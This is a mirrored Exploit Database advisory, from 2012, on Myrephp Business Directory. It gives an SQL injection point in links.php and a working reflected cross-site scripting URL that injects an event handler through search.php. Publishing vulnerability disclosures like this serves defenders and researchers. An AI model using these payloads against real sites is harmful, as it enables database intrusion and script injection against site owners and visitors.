Myrephp Business Directory – Multiple Vulnerabilities

• Exploit Database
• 34 阅读

• 作者： d3b4g
  日期： 2012-11-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22711/

• # Exploit Title: Myrephp Business Directory,Multiple Vulnerabilities
  # Date: 13.10.201
  # Exploit Author: d3b4g
  # Vendor Homepage:http://myrephp.com
  # Software Link: http://myrephp.com/biz/
  # Tested on: Windows 7
  # Blog: d3b4g.me
  
  
  
  
   
  ----------------------------------------------------------------------------------
  () SQL Injection :
  
   ---------------------------
  
  http://localhost/path/links.php?cat=1'[Insert Query]
  
  
  () Cross Site Scripting:-
  
  
   http:localhost/path/search.php?keywords1=&keywords2=&look=%27%20onmouseover%3dprompt%28945724%29%20bad%3d%27&nolinks1=10&order=city&page=2&sort=ASC